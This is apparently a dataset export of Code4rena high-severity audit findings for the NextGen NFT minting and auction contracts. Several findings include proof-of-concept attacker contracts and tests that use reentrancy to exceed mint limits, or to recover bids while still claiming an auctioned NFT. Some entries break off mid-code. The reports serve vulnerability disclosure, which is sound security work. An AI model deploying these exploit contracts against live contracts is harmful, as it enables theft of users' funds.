xanoutas/solidity-security-findings huggingface dataset:
getprice() is not properly calculated when salesoption = 3 
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L530-L536


# Vulnerability details

## Impact
Users are charged a wrong price because getprice() is not properly calculated when salesoption = 3

## Proof of Concept
MinterContract.getprice is supposed to calculate the price per token for a collection factoring rate, circulating supply, etc. for each different salesoption.
Here we will be looking at when salesoption = 3 and rate is set.

function getPrice(uint256 _collectionId) public view returns (uint256) {
        uint tDiff;
        if (collectionPhases[_collectionId].salesOption == 3) {
            // increase minting price by mintcost / collectionPhases[_collectionId].rate every mint (1mint/period)
            // to get the price rate needs to be set
            if (collectionPhases[_collectionId].rate > 0) {
                return
                    collectionPhases[_collectionId].collectionMintCost +
                    ((collectionPhases[_collectionId].collectionMintCost /
                        collectionPhases[_collectionId].rate) *
                        gencore.viewCirSupply(_collectionId));
            } 

Price is calculated by first dividing 'mintcost' for one token by the 'rate' then multiplying by 'cirsupply'.

Let's attempt that formula by assigning some values 
Mintcost = 2 unit 
CirSupply = 1 minted, (assuming the price for the second minter)
Rate = 0.1 [10% of 1]
According to the documentation on salesmodel, 10% of cirsupply was used as an example for rate which is stated that minting price increases using that rate. This is the rate I used for this example
So using the formula in the contract; 2 + ((2 / 0.1) * 1) = 22 
So first minter paid 2 units, second minter will 22 units which I strongly believe is not what was intended.
Now let us calculate third minter price 
 2 + ((2 / 0.2) * 2) = 22 units again and according to the docs it is stated that the mint price is supposed to be increasing.

So the issue here is mint price does not increase after second minter and the difference between first minter payment and second minter's is too much.

## Tools Used
Manual Review
## Recommended Mitigation Steps
There are two steps I believe should be taken here the division and multiplication operators should be swapped.
 2 + ((2 * 0.1) / 1) = 2.2 units.

Then the previous mintcost should be used to calculate the current mintcost not the original mintcost as using the original mintcost will not change the mintcost considering it is supposed to increase.
2 + ((2 * 0.2) / 2) = 2.2 units
2.2 + ((2 * 0.2) / 2) = 2.4 units
So a way should be improvised to save the previous mintcost and use it to calculate the new mint.
Also, after mitigation, add a check for if cirsupply is zero; it should return the normal mint(first minter) to prevent dividing by zero.



## Assessed type

Math
Max allowance check in mint() can be circumvented
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L253
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L227-L232


# Vulnerability details

## Impact
Both allow list & public users can circumvent the max allowance of tokens allowed to be minted per address. Merkle tree allowance is bypassed.

## Proof of Concept
The allowlist case is considered since a merkle tree bounds the address space (in public minting anyone can just mint from different addresses, although, circumvanting turns out to be possible on per address basis as well).

```solidity
require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
```

The problem is that the minter per address counter in `NextGenCore` contract is updated after the NFT is minted in `_mintProcessing(...)`

```solidity
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

            if (phase == 1) {

                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;

            } else {

                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
```

This is dangerous since a malicious user can use the `onERC721Received` hook to reenter `mint(...)` in `Minter` contract before the `tokensMintedAllowlistAddress` is updated. This ultimately allows the allow list user to mint more tokens than what is stated in the Merkle Tree. The same goes for public minting as well. Also, an interesting caveat is that even if the allow list consists only of EOA addresses, a malicious user can still use the delegate feature to delegate towards a malicious contract that will mint on his behalf. 

## Coded POC
- Run forge init --force
- Place the code in the gist in a test file under `/test`
- POC Gist - https://gist.github.com/alexxander77/ce41e149979bc07aa4220de6970212bc
- Run with `forge test --match-test testBypassMaxAllowance`
- Output - 10 minted tokens for user1, although the allowance is 5 (see assertions)

## Tools Used
Manual Inspection
## Recommended Mitigation Steps
Mint after the allowance counter update


## Assessed type

Context
Auction winner cannot claim tokens after auction ends due to ERC721 token ownership error
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112


# Vulnerability details

## Impact
claimAuction function reverts when auction winner tries to claim the token after auction ends

## Proof of Concept
Assume a collection is created and mintToAuction is called to start an auction for a minted token, the following poc shows that the winner of the auction cannot claim the token due to ERC721 safetransferfrom's ```ERC721: caller is not token owner or approved``` error caused by missing token approvals

```
        //mint token to trusted address and put it up for auction
        minterContract.mintAndAuction(addr3, '{"tdh": "100"}', 2, 1, block.timestamp + 1000);
        
        //expected tokenId
        uint256 tokenId = 10000000002;
        
        vm.deal(address(33), 1 ether);
        
        vm.prank(address(33));
        auction.participateToAuction{value: 0.1 ether}(tokenId);
        
        vm.warp(1100);

        vm.prank(address(33));
        vm.expectRevert();
        //Reverts due to ERC721 error
        auction.claimAuction(tokenId);

        console.log(address(33).balance);
```

## Tools Used
Manual Review

## Recommended Mitigation Steps
Make sure the trusted address gives approval to the auction contract to transfer tokens on its behalf


## Assessed type

ERC721
Possible reentrancy attack and the minting of free tokens.
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L231


# Vulnerability details

## Impact
For the minting of new tokens, protocol uses the `safeMint` function. It is possible for a malicious user to use a reentrancy attack, attempting to mint the maximum allowed tokens `collectionAdditionalData[_collectionID].maxCollectionPurchases` and only pay for one token, especially if the collection has a fixed scale price = `collectionMintCost`. 

If the `msg.sender` is a contract, he can call the `mint(...)` function again from the `onERC721Received(address operator, address from, uint256 tokenId, bytes data)` hook. The `_numberOfTokens == 1` and `msg.value` will be the same in every subsequent call. The requirement for pricing `require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");` will always be true.

This attack can also affect the `payArtist(....)` function because `collectionTotalAmount[_collectionID]` will be larger than the actual balance of the contract, allowing for the incorrect calculation of royalties and transfers of money.

Note: Functions `burnToMint()` and `burnOrSwapExternalToMint()` can have this vulnerability if the user has more than one token to burn or swap.

## Proof of Concept
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L231

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L233

## Recommended Mitigation Steps
Add `nonReentrant` modifier.





## Assessed type

Reentrancy
The extra eth sent by users will not be returned 
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196,https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L258,https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L326


# Vulnerability details

## Impact
In the functions `mint()`, `burnToMint()`, `burnOrSwapExternalToMint()` contract `MinterContract` users can send ETH, because the functions are marked payable.
This is done for minting paid collections. 
The functions check the amount of ether sent by the user and compare this amount with the token price:
`require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");` | mint
`require(msg.value >= getPrice(_mintCollectionID), "Wrong ETH");` | burnToMint
`require(msg.value >= (getPrice(col) * 1), "Wrong ETH");` | burnOrSwapExternalToMint

But if a user accidentally sends an extra ETH with a transaction, it won't come back.


## Proof of Concept
User accidentally sends 10 eth instead of 1 eth and call mint() for mint 1 nft. The user sees that he sent an extra eth that he didn't want to send. 
He wants to get the eth back, but there is no way to get it back himself.

## Tools Used
Manual Analysis, Hardhat, VS Code

## Recommended Mitigation Steps
Returns the extra eth sent by the user. 
1 way. Create a mapping that records the address and the excess eth. Create a separate function refund() which will return all the extra eth accumulated by the user.
2 way. Count the extra eth in each payable function and return it directly using it.


## Assessed type

Payable
Simultaneous Auction Participation and Claim Vulnerability
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/tree/main/smart-contracts/AuctionDemo.sol#L105


# Vulnerability details

## Impact
The vulnerability is an edge case scenario where it is possible to initiate both participation in an auction and the claim of auction rewards in a single transaction when the auction has reached its end time. This situation allows an attacker, like Alice, to wait until the block timestamp matches the auction's end time, effectively participating in the auction by frontrunning a legitimate participant, and then immediately proceeding to claim the auction rewards. In this specific case, Bob, who legitimately bid higher than Alice within the same time frame, should be the eligible highest bidder. However, because the auction has already been claimed by Alice in the same transaction, Bob's claimAuction transaction will fail, depriving him of the rewards he rightfully won.

## Proof of Concept
The root cause of the vulnerability is the failure to impose a condition that prevents auction participation and auction reward claims within the same transaction when the auction has reached its end time.
1. Alice is aware of an ongoing auction with an end time.
2. She waits until the block timestamp matches the auction's end time `block.timestamp == minter.getAuctionEndTime(id)`).
3. In the same transaction, Alice participates in the auction by frontrunning another participant.
```solidity
// File: smart-contracts/AuctionDemo.sol
57:    function participateToAuction(uint256 _tokenid) public payable {
58:        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);// <= FOUND: player can participate and claim auction in the same transaction at EndTime
...
61:    }
...
104:    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); // <= FOUND: player can participate and claim auction in the same transaction at EndTime
        ...
120:    }
```
4. Alice immediately proceeds to claim the auction rewards.
5. Bob successfully bids the highest bid within the same timeframe even though being frontrun by Alice.
6. Due to Alice's earlier claim in the same transaction switching auctionClaim[_tokenid] flag to true, Bob's claimAuction transaction fails, preventing him from receiving the rewards he should rightfully obtain.

This scenario demonstrates the severity of the vulnerability, as it can potentially lead to a loss of rewards for legitimate participants who are outmaneuvered by a frontrunning attacker like Alice.

## Tools Used
Manual Review

## Recommended Mitigation Steps
To mitigate this vulnerability, a condition should be added to ensure that the claim of auction rewards can ONLY occur after the auction has ended.
```p
AuctionDemo::claimAuction reentrancy issue
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124


# Vulnerability details

## H-01 AuctionDemo::claimAuction reentrancy issue
The function [claimAuction](https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104) and [cancelBid](https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124) is not checking reentrancy and is not following the Checks Effects Interactions pattern, allowing one attacker contract to receive a "not-winner" bid amount and cancelling at the same transaction. 
This is possible because the function claimAuction is checking `block.timestamp >= minter.getAuctionEndTime(_tokenid)` and cancelBid is checking `require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended")`, allowing an attacker contract to call cancelBid function when receive the ethers from a 'not-winner' bid [here](https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116).

To exploit this vulnerability successfully, an attacker must ensure that block.timestamp is equal to minter.getAuctionEndTime(_tokenid). This can be achieved by manipulating block.timestamp, which may be possible if the validator has control over it. Even if the attacker cannot manipulate block.timestamp, they can repeatedly bid in an auction and wait for the winner or admin to execute a transaction with the same timestamp. This attack has a low cost since the attacker can receive multiple bids. Also, the attacker contract can be the auction winner too.

## Impact
The attacker contract can steal funds from the AuctionDemo contract by receiving double payments for each bid (once from the "not-winner" transfer in claimAuction and once from the cancelBid function).

## Proof of Concept
First, create one attacker contract: (Attacker.sol)
```
pragma solidity ^0.8.19;

import './AuctionDemo.sol';
contract attacker {
     
    address public auctionDemoContract;
    bool attack;

    constructor(address _auctionDemoContract)
    {
        auctionDemoContract = _auctionDemoContract;
    }

    function participateToAuction(uint256 _tokenid) public payable {
        auctionDemo(auctionDemoContract).participateToAuction{ value: msg.value }(_tokenid);
    }

    function claimAuction(uint256 _tokenid) public {
        auctionDemo(auctionDemoContract).claimAuction(_tokenid); // if you are the highest bidder
    }
    receive() external payable {
        if (!attack) {
            attack = true;
            auctionDemo(auctionDemoContract).cancelBid(30000000002, 0); // just once this time, but you can put it on a looping.
        }
    }
}
```

Add this test just after line 315 [hardhat/test/nextGen.test.js#L350](https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/test/nextGen.test.js#L350)
```
    it("#auction", async fun
Last bidder can steal listed nft & get his funds back via reentrancy.
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104


# Vulnerability details

## Impact
Regardless of the amount of ether the previous bidder deposited. A well-timed transaction or one done by a malicious validator at ``minterContract.getAuctionEndTime(tokenId)`` will be granted permission to invoke both ``claimAuction(tokenId)`` as well as ``cancelAllBids()`` via callback. Subsequently, the attacker will end up with the listed nft as well as his ether back.

## Proof of Concept
Starting of with the contract which will perform the last bid at ``minterContract.getAuctionEndTime(tokenId)``.
This contract will make use of the ``IERC721Receiver`` interface, to trigger ``auctionDemo.cancelAllBids(tokenId)`` exploiting the auctionDemo contract as the caller, when triggering the ``safetransfer()`` to the highest bidder.



```
// SPDX-License-Identifier: Built By Mango
pragma solidity ^0.8.19;

import {IERC721Receiver} from "../../src/IERC721Receiver.sol";
import {auctionDemo} from "../../src/AuctionDemo.sol";

contract Reentrant is IERC721Receiver {

    auctionDemo _auctionDemo;

    constructor(
        address auctionContract
    ) {
        _auctionDemo = auctionDemo(auctionContract);
    }

        function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
        ) external returns(bytes4) {

        // Reentrancy:
        _auctionDemo.cancelAllBids(30000000000);

        return this.onERC721Received.selector;
    }

    fallback() external payable {
    }
}
```
Finally, the full POC shows 2 users placing bids, while the last one outbids them by 1 wei & calling ``claimAuction(tokenId)`` in the same transaction, to guarantee the nft & the ether payback.
```
function testVulnerableAuction() public {
        // Sets up bid for token id: 30000000000
        _mintAndAuction();

        vm.prank(fixAddress("RegularUser1"));
        vm.deal(fixAddress("RegularUser1"), 2e18);
        _auctionDemo.participateToAuction{value: 2e18 -1}(30000000000);

        vm.prank(fixAddress("RegularUser2"));
        vm.deal(fixAddress("RegularUser2"), 2e18);
        _auctionDemo.participateToAuction{value: 2e18}(30000000000);

        uint256 auctionEndTime = minterContract.getAuctionEndTime(30000000000);

        vm.prank(address(reentrant));
        vm.deal(address(reentrant), 2e18 +1);
        vm.warp(auctionEndTime);
        _auctionDemo.participateToAuction{value: 2e18 + 1}(30000000000);
        _auctionDemo.claimAuction(30000000000);

        assertEq(address(reentrant).balance, 2e18+1); // 2e18 + 1 wei is returned!
    }
```

Needless to say, previous bidders, would be left without any funds to recover, due to the highest amount going to the admin, who listed the nft.
## Tools Used
Foundry
## Recommended Mitigation Steps
The specific lines that allow for this vulnerability are both require statements i
Core Contract Minting Reentrancy allows to mint more than the collection specified mint limit per address
Audit: 2023-10-nextgen-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L193


# Vulnerability details

## Impact
Users are able to mint as many NFTs as far as they don't run out of gas despite the maximum mint allowance per address that is set by the collection.

## Proof of Concept
Inside NextGenCore.sol (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L193) when the minter contract calls the mint function, the storage variables responsible for tracking the balance of minted tokens of a user are updated after the _mintProcessing function.

The _mintProcessing function eventually calls _checkOnERC721Received (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/ERC721.sol#L400) and makes an external call if the NFTs are minted to a contract address. The attacker that receives the tokens can reenter into the MinterContract.sol mint function (https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L196C2-L196C2) numerous times and will be able to successfully mint tokens despite what is the allowed mint count by the collection since the balance of the attacker will update after the reentrancy.
 
## Hardhat POC
Create file TestAttackerMintReentrancy.sol inside https://github.com/code-423n4/2023-10-nextgen/tree/main/hardhat/smart-contracts

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./IMinterContract.sol";
import "./IERC721Receiver.sol";

interface IMinter {
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable;
}

contract TestAttackerMintReentrancy {
    IMinter minterContract;
    bool received;
    uint exploitMintCount;
    Data lastUserData;
    uint initialGas;
    uint gasPerIteration;

    struct Data {
        uint256 _collectionID;
        uint256 _numberOfTokens;
        uint256 _maxAllowance;
        string _tokenData;
        address _mintTo;
        bytes32[] merkleProof;
        address _delegator;
        uint256 _saltfun_o;
    }

    constructor(address _minter) {
        minterContract = IMinter(_minter);
    }

    function mint(
        Data memory _lastUserData
    ) public payable {
        initialGas = gasleft();
        lastUserData = _lastUserData;
        received = false;

        minterContract.mint(
            _lastUserData._collectionID,
            _lastUserData._numberOfTokens,
            _lastUserData._maxAllowance,
            _lastUserData._tokenData,
            _lastUserData._mintTo,
            _lastUserData.merkleProof,
            _lastUserData._del